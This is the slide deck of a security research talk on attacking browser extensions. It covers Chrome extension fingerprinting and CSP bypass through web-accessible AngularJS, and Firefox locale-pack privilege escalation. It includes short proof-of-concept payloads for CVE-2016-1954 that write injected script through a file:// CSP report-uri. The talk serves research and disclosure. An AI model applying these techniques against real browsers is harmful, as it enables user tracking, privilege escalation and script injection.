On the Security of

Browser Extensions

Nicolas Golubovic / @_qll_

Agenda

  • Motivation
  • Chrome
    • Intro
    • Attacks on Extensions
  • Firefox
    • Intro
    • Attacks from Extensions
    • File Write vs. Extensions

Why attack extensions?

1. You Can Do It

Skill overlap between attacking websites and attacking extensions

2. Large Impact

Attack a website, get access to the website's data
vs.
Attack an extension, get access to multiple website's data

3. High Privileges

Extensions can make you a sandwich

Why attack from extensions?

1. Follow-Up

Get from low privilege context to high privilege context

2. Additional Attack Vector

    Phished the hell out of this dude

Intro

It's time for Chrome

Extensions

{
  "manifest_version": 2,
  "name": "Exemplary extension",
  "description": "Extending the unextendable",
  "version": "1.0",
  "options_page": "html/options.html",
  "browser_action": {"default_popup": "html/popup.html"},
  "content_scripts": [{
    "matches": ["https://www.google.com/*"],
    "js": ["jquery.js", "myscript.js"]
  }],
  "background": {"page": "html/background.html"},
  "web_accessible_resources": ["html/*"],
  "permissions": ["activeTab", "https://*/*"]
}

Extensions

{











  "web_accessible_resources": ["html/*"],
  "permissions": ["activeTab", "https://*/*"]
}

Attacks on Extensions

Now let's go over some attacks

Fingerprinting

  • Identify active extensions
    • Discriminate users
    • Tracking
    • Targeted attacks

1. Resource Leaks

if
{
  ...
  "web_accessible_resources": ["path/to/resource.ext"],
  ...
}
then
<script src="chrome-extension://<extid>/path/to/resource.ext"
        onload="isActive()" onerror="isNotActive()">
</script>

2. Side Channels

  • Observe Chrome's behavior on...
    • ... active extensions
    • ... inactive extensions
  • Any difference may be abusable

2. Side Channels

Error-Based
1. open chrome-extension URI, 2. redirect to same-origin file, 3. attempt to access it

2. Side Channels

Error-Based
  • Works for all extensions
  • Relies on two bugs
    • Open chrome-extension URI
      • 302 redirect
    • Tainting-behavior of extensions

Cross-Context Scripting (XCS)

You need MLG skills to own this

Extension Pages

Content-Security-Policy: script-src 'self'; object-src 'self'
  • Images and CSS not restricted
    • Extract data via CSS
    • Clickjacking from within
  • Can be relaxed with 'unsafe-eval'
  • Often: CSP bypass required
    • If only we had a general bypass...
Every time an extension is installed, a mitigation dies. Random Guy (totally not me)
From current CSP Editor's Draft:
blabla ... ignore extension URLs ... blabla

Meaning?

<?php header("Content-Security-Policy: script-src 'none'"); ?>
<script src="chrome-extension://<extid>/accessible/file.js"></script>
It just works!

But a full CSP bypass?

Recap

  • Extensions nullify any CSP with
    • old AngularJS versions
    • on web-accessible locations
  • It works everywhere
    • On websites
    • In extensions

Extension Pages

Better History + SaveList
  • BetterHistory
    • has a XCS vulnerability
    • Enables 'unsafe-eval'
      • No eval vulnerabilities
      • Allows all AngularJS bypasses
  • SaveList
    • Has AngularJS v1.4.3 web-accessible

Intro

Now Firefox!

Extension Types

  • Complete Themes
  • Locale Packs
  • Regular Extensions
    • Legacy Extensions
    • Restartless Extensions
    • Add-on SDK Extensions
    • WebExtensions
  • ...

Signing

  • Complete Themes
  • Locale Packs
  • Regular Extensions
    • Legacy Extensions
    • Restartless Extensions
    • Add-on SDK Extensions
    • WebExtensions
  • ...

Privileges

  • Bound to URL
    • chrome://*/content/* = privileged
    • chrome://*/skin/* = slightly privileged
    • chrome://*/locale/* = slightly privileged
    • resource://*/ = not privileged

chrome.manifest

# chrome://foo/content/*
content foo path/to/files
# chrome://foo/locale/*
locale foo extname path/to/files
# chrome://foo/skin/*
skin foo extname path/to/files
# resource://foo/*
resource foo path/to/files
 
overlay chrome://uri-to-be-overlaid chrome://overlay-uri
...

chrome.manifest

Legacy & Restartless Extensions
# chrome://foo/content/*
content foo path/to/files
# chrome://foo/locale/*
locale foo extname path/to/files
# chrome://foo/skin/*
skin foo extname path/to/files
# resource://foo/*
resource foo path/to/files
 
overlay chrome://uri-to-be-overlaid chrome://overlay-uri
...

chrome.manifest

Themes
# chrome://foo/content/*
content foo path/to/files
# chrome://foo/locale/*
locale foo extname path/to/files
# chrome://foo/skin/*
skin foo extname path/to/files
# resource://foo/*
resource foo path/to/files
 
overlay chrome://uri-to-be-overlaid chrome://overlay-uri
...

chrome.manifest

Locale Packs
# chrome://foo/content/*
content foo path/to/files
# chrome://foo/locale/*
locale foo extname path/to/files
# chrome://foo/skin/*
skin foo extname path/to/files
# resource://foo/*
resource foo path/to/files
 
overlay chrome://uri-to-be-overlaid chrome://overlay-uri
...

Attacks from Extensions

Let's do some attacks from extensions

1. Privileged Attacks

based on research by @malerisch and @0x7674
  • Privileged code can...
    • ... read files
    • ... read stored passwords
    • ... execute OS commands
  • Only regular extensions?

2. Privilege Escalation

Escalate them privileges

2. Privilege Escalation

Chrome URL Override
  • Privileges bound to URLs
# chrome://foo/locale/*
locale foo extname path/to/files
 
override chrome://global/content/config.xul
chrome://foo/locale/privesc.html

2. Privilege Escalation

  • Locale Packs
    • can escalate privileges
    • are not protected by a signature
    • are marketed as language packs
  • At least two variants

File Write vs. Extensions

CVE time!

CVE-2016-1954

report-uri
<?php header("Content-Security-Policy: script-src 'none';"
             . " report-uri http://foo.com/");
???
<?php header("Content-Security-Policy: script-src 'none';"
             . " report-uri file:///tmp/foo");
<?php header("Content-Security-Policy: script-src 'none';"
             . " report-uri chrome:///<alias>/content/foo");

CVE-2016-1954

1. Disable Extensions
  • Prerequisites
    • Signing enabled
    • unpack=true in install.rdf
  • Just write a file to extension

CVE-2016-1954

2. Hijack Extensions
  • Prerequisites
    • Signing disabled
    • unpack=true in install.rdf
  • Possibilities
    • Overwrite existing file
    • Write new file, open via bug

Report Format

<?php header("Content-Security-Policy: "
             . "script-src 'none'; "
             . "report-uri file:///tmp/foo.html"); ?>
<script><svg onload='alert(1)'></script>
{"csp-report":{"blocked-uri":"self","document-uri":"http://localhost:5000/poc/exploit-cve/","line-number":1,"original-policy":"script-src 'none'; report-uri file:///tmp/foo.html","referrer":"","script-sample":"<svg onload='alert(1)'>","source-file":"http://localhost:5000/poc/exploit-cve/","violated-directive":"script-src 'none'"}}

Report Format

<?php header("Content-Security-Policy: "
             . "script-src 'nonce-</script>'; "
             . "report-uri file:///tmp/foo.html"); ?>
<script><script src=http://localhost:5000/a></script>
{"csp-report":{"blocked-uri":"self","document-uri":"http://localhost:5000/poc/exploit-cve/","line-number":1,"original-policy":"script-src 'nonce-</script>'; report-uri file:///tmp/foo.html","referrer":"","script-sample":"<script src=http://localhost:5000/a>","source-file":"http://localhost:5000/poc/exploit-cve/","violated-directive":"script-src 'nonce-</script>'"}}

Conclusion

Conclusion

  • Old attacks still work
    • Revive with browser bugs
  • Extensions ⚡ CSP
  • Still lots of quirky behavior
    • Test Suite

Thank You


Slides @ https://golubovic.net/slides
Read the thesis for more details :-)



No browser was harmed in the making of this presentation.